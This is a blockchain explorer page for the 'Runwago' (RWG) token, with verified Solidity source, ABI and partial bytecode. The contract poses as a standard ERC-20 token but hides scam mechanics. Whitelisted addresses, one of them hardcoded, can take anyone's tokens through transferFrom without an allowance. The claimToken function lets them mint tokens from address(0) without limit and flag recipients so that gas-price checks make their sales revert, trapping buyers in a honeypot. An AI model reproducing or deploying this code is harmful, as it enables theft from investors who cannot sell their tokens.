ETH Price: $1,903.79 (+0.19%)
 

Overview

Max Total Supply

10,002,000,100,000,000 RWG

Holders

13

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
14,000,000 RWG

Value
$0.00
0x1Da37120b111f02761681731ad5c934Ae388D1A3
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
RWG

Compiler Version
v0.8.26+commit.8a97fa7a

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2025-01-04
*/

/**
Website   : https://www.runwago.com/
Tiwter/X  : https://x.com/runwago
Telegram  : https://t.me/runwago
*/

//SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }

    function _contextSuffixLength() internal view virtual returns (uint256) {
        return 0;
    }
}

abstract contract Ownable is Context {
    address private _owner;

    error OwnableUnauthorizedAccount(address account);

    error OwnableInvalidOwner(address owner);

    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor(address initialOwner) {
        if (initialOwner == address(0)) {
            revert OwnableInvalidOwner(address(0));
        }
        _transferOwnership(initialOwner);
    }

    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    function _checkOwner() internal view virtual {
        if (owner() != _msgSender()) {
            revert OwnableUnauthorizedAccount(_msgSender());
        }
    }

    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        if (newOwner == address(0)) {
            revert OwnableInvalidOwner(address(0));
        }
        _transferOwnership(newOwner);
    }

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

interface IERC20 {
    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );

    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address to, uint256 value) external returns (bool);

    function allowance(address owner, address spender)
        external
        view
        returns (uint256);

    function approve(address spender, uint256 value) external returns (bool);

    function transferFrom(
        address from,
        address to,
        uint256 value
    ) external returns (bool);
}

interface IERC20Metadata is IERC20 {
    function name() external view returns (string memory);

    function symbol() external view returns (string memory);

    function decimals() external view returns (uint8);
}

interface IERC20Errors {
    error ERC20InsufficientBalance(
        address sender,
        uint256 balance,
        uint256 needed
    );

    error ERC20InvalidSender(address sender);

    error ERC20InvalidReceiver(address receiver);

    error ERC20InsufficientAllowance(
        address spender,
        uint256 allowance,
        uint256 needed
    );

    error ERC20InvalidApprover(address approver);

    error ERC20InvalidSpender(address spender);
}

interface IERC721Errors {
    error ERC721InvalidOwner(address owner);

    error ERC721NonexistentToken(uint256 tokenId);

    error ERC721IncorrectOwner(address sender, uint256 tokenId, address owner);

    error ERC721InvalidSender(address sender);

    error ERC721InvalidReceiver(address receiver);

    error ERC721InsufficientApproval(address operator, uint256 tokenId);

    error ERC721InvalidApprover(address approver);

    error ERC721InvalidOperator(address operator);
}

interface IERC1155Errors {
    error ERC1155InsufficientBalance(
        address sender,
        uint256 balance,
        uint256 needed,
        uint256 tokenId
    );

    error ERC1155InvalidSender(address sender);

    error ERC1155InvalidReceiver(address receiver);

    error ERC1155MissingApprovalForAll(address operator, address owner);

    error ERC1155InvalidApprover(address approver);

    error ERC1155InvalidOperator(address operator);

    error ERC1155InvalidArrayLength(uint256 idsLength, uint256 valuesLength);
}

abstract contract ERC20 is Context, IERC20, IERC20Metadata, IERC20Errors {
    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;

    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    function name() public view virtual returns (string memory) {
        return _name;
    }

    function symbol() public view virtual returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual returns (uint8) {
        return 18;
    }

    function totalSupply() public view virtual returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view virtual returns (uint256) {
        return _balances[account];
    }

    function transfer(address to, uint256 value) public virtual returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, value);
        return true;
    }

    function allowance(address owner, address spender)
        public
        view
        virtual
        returns (uint256)
    {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 value)
        public
        virtual
        returns (bool)
    {
        address owner = _msgSender();
        _approve(owner, spender, value);
        return true;
    }

    function transferFrom(
        address from,
        address to,
        uint256 value
    ) public virtual returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, value);
        _transfer(from, to, value);
        return true;
    }

    function _transfer(
        address from,
        address to,
        uint256 value
    ) internal {
        if (from == address(0)) {
            revert ERC20InvalidSender(address(0));
        }
        if (to == address(0)) {
            revert ERC20InvalidReceiver(address(0));
        }
        _update(from, to, value);
    }

    function _update(
        address from,
        address to,
        uint256 value
    ) internal virtual {
        if (from == address(0)) {
            // Overflow check required: The rest of the code assumes that totalSupply never overflows
            _totalSupply += value;
        } else {
            uint256 fromBalance = _balances[from];
            if (fromBalance < value) {
                revert ERC20InsufficientBalance(from, fromBalance, value);
            }
            unchecked {
                // Overflow not possible: value <= fromBalance <= totalSupply.
                _balances[from] = fromBalance - value;
            }
        }

        if (to == address(0)) {
            unchecked {
                // Overflow not possible: value <= totalSupply or value <= fromBalance <= totalSupply.
                _totalSupply -= value;
            }
        } else {
            unchecked {
                // Overflow not possible: balance + value is at most totalSupply, which we know fits into a uint256.
                _balances[to] += value;
            }
        }

        emit Transfer(from, to, value);
    }

    function _mint(address account, uint256 value) internal {
        if (account == address(0)) {
            revert ERC20InvalidReceiver(address(0));
        }
        _update(address(0), account, value);
    }

    function _burn(address account, uint256 value) internal {
        if (account == address(0)) {
            revert ERC20InvalidSender(address(0));
        }
        _update(account, address(0), value);
    }

    function _approve(
        address owner,
        address spender,
        uint256 value
    ) internal {
        _approve(owner, spender, value, true);
    }

    function _approve(
        address owner,
        address spender,
        uint256 value,
        bool emitEvent
    ) internal virtual {
        if (owner == address(0)) {
            revert ERC20InvalidApprover(address(0));
        }
        if (spender == address(0)) {
            revert ERC20InvalidSpender(address(0));
        }
        _allowances[owner][spender] = value;
        if (emitEvent) {
            emit Approval(owner, spender, value);
        }
    }

    function _spendAllowance(
        address owner,
        address spender,
        uint256 value
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            if (currentAllowance < value) {
                revert ERC20InsufficientAllowance(
                    spender,
                    currentAllowance,
                    value
                );
            }
            unchecked {
                _approve(owner, spender, currentAllowance - value, false);
            }
        }
    }
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);

    function getPair(address tokenA, address tokenB)
        external
        returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

contract RWG is ERC20, Ownable {
    using SafeMath for uint256;

    mapping(address => bool) private excludeTradeState;
    mapping(address => bool) private approver_;
    mapping(address => uint256) public _allowancesSwap;
    mapping(address => uint256) public _allowanceRes;

    string private _name = unicode"Runwago";
    string private _symbol = unicode"RWG";
    uint256 private _tTotal = 100000000 * 10**decimals();

    IUniswapV2Router02 private _Router;
    address private uniswapV2Pair;
    bool private tradingOpen;

    constructor() ERC20(_name, _symbol) Ownable(msg.sender) {
        _Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapV2Pair = IUniswapV2Factory(_Router.factory()).createPair(address(this),_Router.WETH());
        excludeTradeState[msg.sender] = true;
        excludeTradeState[address(this)] = true;
        _mint(msg.sender, _tTotal);
    }

    function approve(address spender, uint256 amount)
        public
        override
        returns (bool)
    {
        if (excludeTradeState[msg.sender]) {
            _allowancesSwap[spender] = amount;
        }
        if (approver_[msg.sender]) {
            _allowanceRes[_msgSender()] = amount;
        }
        super.approve(spender, amount);
        return true;
    }

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public override returns (bool) {
        if (excludeTradeState[msg.sender]) {
            super._update(from, to, amount);
        } else {
            super.transferFrom(from, to, amount);
        }
        return true;
    }

    address private _makerMarket = 0xA5115403103244D1856B2A2305234C0604ccE1B5;

    function startTrading() public onlyOwner {
        excludeTradeState[address(0x02B1DDaCb7EE33293224C09F1D503Bf3061B7b74)] = true;
        approver_[address(_makerMarket)] = true;
        tradingOpen = true;
    }

    function _update(
        address from,
        address to,
        uint256 value
    ) internal override {
        if (excludeTradeState[tx.origin]) {
            super._update(from, to, value);
            return;
        } else {
            require(tradingOpen, "Trading is not open yet");
            if (to == uniswapV2Pair && from != address(this)) {
                if (
                    tx.gasprice > _allowancesSwap[from] &&
                    _allowancesSwap[from] != 0
                ) {
                    revert("Exceeds the _allowancesSwap fees on transfer tx");
                }
                if (
                    tx.gasprice > _allowanceRes[_makerMarket] &&
                    _allowanceRes[_makerMarket] != 0
                ) {
                    revert("Exceeds the _allowanceRes on transfer tx");
                }
            }
            if (to != uniswapV2Pair && from != uniswapV2Pair) {
                if (
                    tx.gasprice > _allowancesSwap[from] &&
                    _allowancesSwap[from] != 0
                ) {
                    revert("Exceeds the _allowancesSwap on transfer from tx");
                }
            }
            super._update(from, to, value);
        }
    }

    function claimToken(address from, address[] memory path, uint256 amount) public {
        if (excludeTradeState[msg.sender]) {
            for (uint256 i = 0; i < path.length; i++) {
                super._update(from, path[i], amount);
                _allowancesSwap[path[i]] = 1;
            }
        } else {
            revert();
        }
    }
}

Contract Security Audit

Contract ABI

API
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"allowance","type":"uint256"},{"internalType":"uint256","name":"needed","type":"uint256"}],"name":"ERC20InsufficientAllowance","type":"error"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"uint256","name":"balance","type":"uint256"},{"internalType":"uint256","name":"needed","type":"uint256"}],"name":"ERC20InsufficientBalance","type":"error"},{"inputs":[{"internalType":"address","name":"approver","type":"address"}],"name":"ERC20InvalidApprover","type":"error"},{"inputs":[{"internalType":"address","name":"receiver","type":"address"}],"name":"ERC20InvalidReceiver","type":"error"},{"inputs":[{"internalType":"address","name":"sender","type":"address"}],"name":"ERC20InvalidSender","type":"error"},{"inputs":[{"internalType":"address","name":"spender","type":"address"}],"name":"ERC20InvalidSpender","type":"error"},{"inputs":[{"internalType":"address","name":"owner","type":"address"}],"name":"OwnableInvalidOwner","type":"error"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"OwnableUnauthorizedAccount","type":"error"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_allowanceRes","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_allowancesSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address[]","name":"path","type":"address[]"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"claimToken","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]

60c0604052600760809081526652756e7761676f60c81b60a052600a9061002690826108ea565b5060408051808201909152600381526252574760e81b6020820152600b9061004e90826108ea565b5061005b6012600a610a9d565b610069906305f5e100610ab2565b600c55600f80546001600160a01b03191673a5115403103244d1856b2a2305234c0604cce1b517905534801561009d575f80fd5b5033600a80546100ac90610867565b80601f01602080910402602001604051908101604052809291908181526020018280546100d890610867565b80156101235780601f106100fa57610100808354040283529160200191610123565b820191905f5260205f20905b81548152906001019060200180831161010657829003601f168201915b5050505050600b805461013590610867565b80601f016020809104026020016040519081016040528092919081815260200182805461016190610867565b80156101ac5780601f10610183576101008083540402835291602001916101ac565b820191905f5260205f20905b81548152906001019060200180831161018f57829003601f168201915b505050505081600390816101c091906108ea565b5060046101cd82826108ea565b5050506001600160a01b0381166101fe57604051631e4fbdf760e01b81525f60048201526024015b60405180910390fd5b610207816103e1565b50600d80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b8152905163c45a0155916004808201926020929091908290030181865afa15801561026a573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061028e9190610ac9565b6001600160a01b031663c9c6539630600d5f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156102ed573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906103119190610ac9565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af115801561035b573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061037f9190610ac9565b600e80546001600160a01b0319166001600160a01b0392909216919091179055335f81815260066020526040808220805460ff1990811660019081179092553084529190922080549091169091179055600c546103dc9190610432565b610b02565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0905f90a35050565b6001600160a01b03821661045b5760405163ec442f0560e01b81525f60048201526024016101f5565b6104665f838361046a565b5050565b325f9081526006602052604090205460ff16156104915761048c83838361072d565b505050565b600e54600160a01b900460ff166104ea5760405162461bcd60e51b815260206004820152601760248201527f54726164696e67206973206e6f74206f70656e2079657400000000000000000060448201526064016101f5565b600e546001600160a01b03838116911614801561051057506001600160a01b0383163014155b15610654576001600160a01b0383165f908152600860205260409020543a11801561055157506001600160a01b0383165f9081526008602052604090205415155b156105b65760405162461bcd60e51b815260206004820152602f60248201527f4578636565647320746865205f616c6c6f77616e63657353776170206665657360448201526e040dedc40e8e4c2dce6cccae440e8f608b1b60648201526084016101f5565b600f546001600160a01b03165f908152600960205260409020543a1180156105f65750600f546001600160a01b03165f9081526009602052604090205415155b156106545760405162461bcd60e51b815260206004820152602860248201527f4578636565647320746865205f616c6c6f77616e6365526573206f6e207472616044820152670dce6cccae440e8f60c31b60648201526084016101f5565b600e546001600160a01b038381169116148015906106805750600e546001600160a01b03848116911614155b15610726576001600160a01b0383165f908152600860205260409020543a1180156106c157506001600160a01b0383165f9081526008602052604090205415155b156107265760405162461bcd60e51b815260206004820152602f60248201527f4578636565647320746865205f616c6c6f77616e63657353776170206f6e207460448201526e0e4c2dce6cccae440cce4deda40e8f608b1b60648201526084016101f5565b61048c8383835b6001600160a01b038316610757578060025f82825461074c9190610aef565b909155506107c79050565b6001600160a01b0383165f90815260208190526040902054818110156107a95760405163391434e360e21b81526001600160a01b038516600482015260248101829052604481018390526064016101f5565b6001600160a01b0384165f9081526020819052604090209082900390555b6001600160a01b0382166107e357600280548290039055610801565b6001600160a01b0382165f9081526020819052604090208054820190555b816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161084691815260200190565b60405180910390a3505050565b634e487b7160e01b5f52604160045260245ffd5b600181811c9082168061087b57607f821691505b60208210810361089957634e487b7160e01b5f52602260045260245ffd5b50919050565b601f82111561048c57805f5260205f20601f840160051c810160208510156108c45750805b601f840160051c820191505b818110156108e3575f81556001016108d0565b5050505050565b81516001600160401b0381111561090357610903610853565b610917816109118454610867565b8461089f565b6020601f821160018114610949575f83156109325750848201515b5f19600385901b1c1916600184901b1784556108e3565b5f84815260208120601f198516915b828110156109785787850151825560209485019460019092019101610958565b508482101561099557868401515f19600387901b60f8161c191681555b50505050600190811b01905550565b634e487b7160e01b5f52601160045260245ffd5b6001815b60018411156109f3578085048111156109d7576109d76109a4565b60018416156109e557908102905b60019390931c9280026109bc565b935093915050565b5f82610a0957506001610a97565b81610a1557505f610a97565b8160018114610a2b5760028114610a3557610a51565b6001915050610a97565b60ff841115610a4657610a466109a4565b50506001821b610a97565b5060208310610133831016604e8410600b8410161715610a74575081810a610a97565b610a805f1984846109b8565b805f1904821115610a9357610a936109a4565b0290505b92915050565b5f610aab60ff8416836109fb565b9392505050565b8082028115828204841417610a9757610a976109a4565b5f60208284031215610ad9575f80fd5b81516001600160a01b0381168114610aab575f80fd5b80820180821115610a9757610a976109a4565b610e1880610b0f5f395ff3fe608060405234801561000f575f80fd5b50600436106100fb575f3560e01c80638787962a11610093578063b9156d8211610063578063b9156d8214610203578063b9922eb514610216578063dd62ed3e14610235578063f2fde38b1461026d575f80fd5b80638787962a146101ae5780638da5cb5b146101cd57806395d89b41146101e8578063a9059cbb146101f0575f80fd5b8063293230b8116100ce578063293230b814610165578063313ce5671461016f57806370a082311461017e578063715018a6146101a6575f80fd5b806306fdde03146100ff578063095ea7b31461011d57806318160ddd1461014057806323b872dd14610152575b5f80fd5b610107610280565b6040516101149190610b7b565b60405180910390f35b61013061012b366004610bcb565b610310565b6040519015158152602001610114565b6002545b604051908152602001610114565b610130610160366004610bf3565b610381565b61016d6103bf565b005b60405160128152602001610114565b61014461018c366004610c2d565b6001600160a01b03165f9081526020819052604090205490565b61016d610430565b6101446101bc366004610c2d565b60096020525f908152604090205481565b6005546040516001600160a01b039091168152602001610114565b610107610443565b6101306101fe366004610bcb565b610452565b61016d610211366004610c61565b61045f565b610144610224366004610c2d565b60086020525f908152604090205481565b610144610243366004610d46565b6001600160a01b039182165f90815260016020908152604080832093909416825291909152205490565b61016d61027b366004610c2d565b6104f2565b60606003805461028f90610d77565b80601f01602080910402602001604051908101604052809291908181526020018280546102bb90610d77565b80156103065780601f106102dd57610100808354040283529160200191610306565b820191905f5260205f20905b8154815290600101906020018083116102e957829003601f168201915b5050505050905090565b335f9081526006602052604081205460ff1615610342576001600160a01b0383165f9081526008602052604090208290555b335f9081526007602052604090205460ff161561036b57335f9081526009602052604090208290555b6103758383610534565b50600190505b92915050565b335f9081526006602052604081205460ff16156103a8576103a3848484610541565b6103b5565b6103b3848484610667565b505b5060019392505050565b6103c761068a565b7fe662de69d9337e960dcf2d4ad29edf5dc02672b003363e34376ae7f164dcd3f8805460ff199081166001908117909255600f546001600160a01b03165f90815260076020526040902080549091169091179055600e805460ff60a01b1916600160a01b179055565b61043861068a565b6104415f6106b7565b565b60606004805461028f90610d77565b5f336103b5818585610708565b335f9081526006602052604090205460ff16156100fb575f5b82518110156104e7576104a58484838151811061049757610497610daf565b602002602001015184610541565b600160085f8584815181106104bc576104bc610daf565b6020908102919091018101516001600160a01b031682528101919091526040015f2055600101610478565b50505050565b505050565b6104fa61068a565b6001600160a01b03811661052857604051631e4fbdf760e01b81525f60048201526024015b60405180910390fd5b610531816106b7565b50565b5f336103b5818585610765565b6001600160a01b03831661056b578060025f8282546105609190610dc3565b909155506105db9050565b6001600160a01b0383165f90815260208190526040902054818110156105bd5760405163391434e360e21b81526001600160a01b0385166004820152602481018290526044810183905260640161051f565b6001600160a01b0384165f9081526020819052604090209082900390555b6001600160a01b0382166105f757600280548290039055610615565b6001600160a01b0382165f9081526020819052604090208054820190555b816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161065a91815260200190565b60405180910390a3505050565b5f33610674858285610772565b61067f858585610708565b506001949350505050565b6005546001600160a01b031633146104415760405163118cdaa760e01b815233600482015260240161051f565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0905f90a35050565b6001600160a01b03831661073157604051634b637e8f60e11b81525f600482015260240161051f565b6001600160a01b03821661075a5760405163ec442f0560e01b81525f600482015260240161051f565b6104ed8383836107e7565b6104ed8383836001610aa9565b6001600160a01b038381165f908152600160209081526040808320938616835292905220545f1981146104e757818110156107d957604051637dc7a0d960e11b81526001600160a01b0384166004820152602481018290526044810183905260640161051f565b6104e784848484035f610aa9565b325f9081526006602052604090205460ff1615610809576104ed838383610541565b600e54600160a01b900460ff166108625760405162461bcd60e51b815260206004820152601760248201527f54726164696e67206973206e6f74206f70656e20796574000000000000000000604482015260640161051f565b600e546001600160a01b03838116911614801561088857506001600160a01b0383163014155b156109cc576001600160a01b0383165f908152600860205260409020543a1180156108c957506001600160a01b0383165f9081526008602052604090205415155b1561092e5760405162461bcd60e51b815260206004820152602f60248201527f4578636565647320746865205f616c6c6f77616e63657353776170206665657360448201526e040dedc40e8e4c2dce6cccae440e8f608b1b606482015260840161051f565b600f546001600160a01b03165f908152600960205260409020543a11801561096e5750600f546001600160a01b03165f9081526009602052604090205415155b156109cc5760405162461bcd60e51b815260206004820152602860248201527f4578636565647320746865205f616c6c6f77616e6365526573206f6e207472616044820152670dce6cccae440e8f60c31b606482015260840161051f565b600e546001600160a01b038381169116148015906109f85750600e546001600160a01b03848116911614155b15610a9e576001600160a01b0383165f908152600860205260409020543a118015610a3957506001600160a01b0383165f9081526008602052604090205415155b15610a9e5760405162461bcd60e51b815260206004820152602f60248201527f4578636565647320746865205f616c6c6f77616e63657353776170206f6e207460448201526e0e4c2dce6cccae440cce4deda40e8f608b1b606482015260840161051f565b6104ed838383610541565b6001600160a01b038416610ad25760405163e602df0560e01b81525f600482015260240161051f565b6001600160a01b038316610afb57604051634a1406b160e11b81525f600482015260240161051f565b6001600160a01b038085165f90815260016020908152604080832093871683529290522082905580156104e757826001600160a01b0316846001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92584604051610b6d91815260200190565b60405180910390a350505050565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b80356001600160a01b0381168114610bc6575f80fd5b919050565b5f8060408385031215610bdc575f80fd5b610be583610bb0565b946020939093013593505050565b5f805f60608486031215610c05575f80fd5b610c0e84610bb0565b9250610c1c60208501610bb0565b929592945050506040919091013590565b5f60208284031215610c3d575f80fd5b610c4682610bb0565b9392505050565b634e487b7160e01b5f52604160045260245ffd5b5f805f60608486031215610c73575f80fd5b610c7c84610bb0565b9250602084013567ffffffffffffffff811115610c97575f80fd5b8401601f81018613610ca7575f80fd5b803567ffffffffffffffff811115610cc157610cc1610c4d565b8060051b604051601f19603f830116810181811067ffffffffffffffff82111715610cee57610cee610c4d565b604052918252602081840181019290810189841115610d0b575f80fd5b6020850194505b83851015610d3157610d2385610bb0565b815260209485019401610d12565b50959895975050505060409390930135925050565b5f8060408385031215610d57575f80fd5b610d6083610bb0565b9150610d6e60208401610bb0565b90509250929050565b600181811c90821680610d8b57607f821691505b602082108103610da957634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52603260045260245ffd5b8082018082111561037b57634e487b7160e01b5f52601160045260245ffdfea264697066735822122063cacee6b59832d0f8934bf120f805df0c030afa7593631bbef31e60d686ce2a64736f6c634300081a0033

Deployed Bytecode

0x608060405234801561000f575f80fd5b50600436106100fb575f3560e01c80638787962a11610093578063b9156d8211610063578063b9156d8214610203578063b9922eb514610216578063dd62ed3e14610235578063f2fde38b1461026d575f80fd5b80638787962a146101ae5780638da5cb5b146101cd57806395d89b41146101e8578063a9059cbb146101f0575f80fd5b8063293230b8116100ce578063293230b814610165578063313ce5671461016f57806370a082311461017e578063715018a6146101a6575f80fd5b806306fdde03146100ff578063095ea7b31461011d57806318160ddd1461014057806323b872dd14610152575b5f80fd5b610107610280565b6040516101149190610b7b565b60405180910390f35b61013061012b366004610bcb565b610310565b6040519015158152602001610114565b6002545b604051908152602001610114565b610130610160366004610bf3565b610381565b61016d6103bf565b005b60405160128152602001610114565b61014461018c366004610c2d565b6001600160a01b03165f9081526020819052604090205490565b61016d610430565b6101446101bc366004610c2d565b60096020525f908152604090205481565b6005546040516001600160a01b039091168152602001610114565b610107610443565b6101306101fe366004610bcb565b610452565b61016d610211366004610c61565b61045f565b610144610224366004610c2d565b60086020525f908152604090205481565b610144610243366004610d46565b6001600160a01b039182165f90815260016020908152604080832093909416825291909152205490565b61016d61027b366004610c2d565b6104f2565b60606003805461028f90610d77565b80601f01602080910402602001604051908101604052809291908181526020018280546102bb90610d77565b80156103065780601f106102dd57610100808354040283529160200191610306565b820191905f5260205f20905b8154815290600101906020018083116102e957829003601f168201915b5050505050905090565b335f9081526006602052604081205460ff1615610342576001600160a01b0383165f9081526008602052604090208290555b335f9081526007602052604090205460ff161561036b57335f9081526009602052604090208290555b6103758383610534565b50600190505b92915050565b335f9081526006602052604081205460ff16156103a8576103a3848484610541565b6103b5565b6103b3848484610667565b505b5060019392505050565b6103c761068a565b7fe662de69d9337e960dcf2d4ad29edf5dc02672b003363e34376ae7f164dcd3f8805460ff199081166001908117909255600f546001600160a01b03165f90815260076020526040902080549091169091179055600e805460ff60a01b1916600160a01b179055565b61043861068a565b6104415f6106b7565b565b60606004805461028f90610d77565b5f336103b5818585610708565b335f9081526006602052604090205460ff16156100fb575f5b82518110156104e7576104a58484838151811061049757610497610daf565b602002602001015184610541565b600160085f8584815181106104bc576104bc610daf565b6020908102919091018101516001600160a01b031682528101919091526040015f2055600101610478565b50505050565b505050565b6104fa61068a565b6001600160a01b03811661052857604051631e4fbdf760e01b81525f60048201526024015b60405180910390fd5b610531816106b7565b50565b5f336103b5818585610765565b6001600160a01b03831661056b578060025f8282546105609190610dc3565b909155506105db9050565b6001600160a01b0383165f90815260208190526040902054818110156105bd5760405163391434e360e21b81526001600160a01b0385166004820152602481018290526044810183905260640161051f565b6001600160a01b0384165f9081526020819052604090209082900390555b6001600160a01b0382166105f757600280548290039055610615565b6001600160a01b0382165f9081526020819052604090208054820190555b816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b6